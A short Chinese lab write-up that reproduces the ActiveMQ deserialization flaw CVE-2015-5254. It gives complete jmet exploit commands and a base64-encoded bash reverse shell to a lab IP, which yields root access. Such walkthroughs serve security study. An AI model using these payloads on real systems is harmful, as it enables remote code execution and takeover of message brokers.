CVE-2015-5254 ActiveMQ反序列化漏洞
CVE-2015-5254 ActiveMQ反序列化漏洞
漏洞原理
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
反序列化漏洞利用过程如下:
构造(可以使用ysoserial)可执行命令的序列化对象
作为一个消息,发送给目标的61616端口
访问Web管理界面,读取消息触发漏洞

利用jmet构造可执行的序列化对象
jmet地址:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
执行payload:java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.154.130 61616
可以看到Active MQ已经收到了消息队列,这里需要点击ID触发命令执行(因为我们之前已经用admin/admin登录了,有管理员权限,如果没有管理员权限的话,我们只能等待管理员点击消息队列的ID来触发命令执行漏洞)

进入容器发现已经成功利用,创建了success文件夹;

反弹shell
bash -i >& /dev/tcp/192.168.154.130/2023 0>&1 base64编码

构造反弹shell的payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NC4xMzAvMjAyMyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.154.130 61616
可以看到这里已经获取到root权限了

这个漏洞比较鸡肋的地方是需要管理员/用户点击插入的消息队列才能触发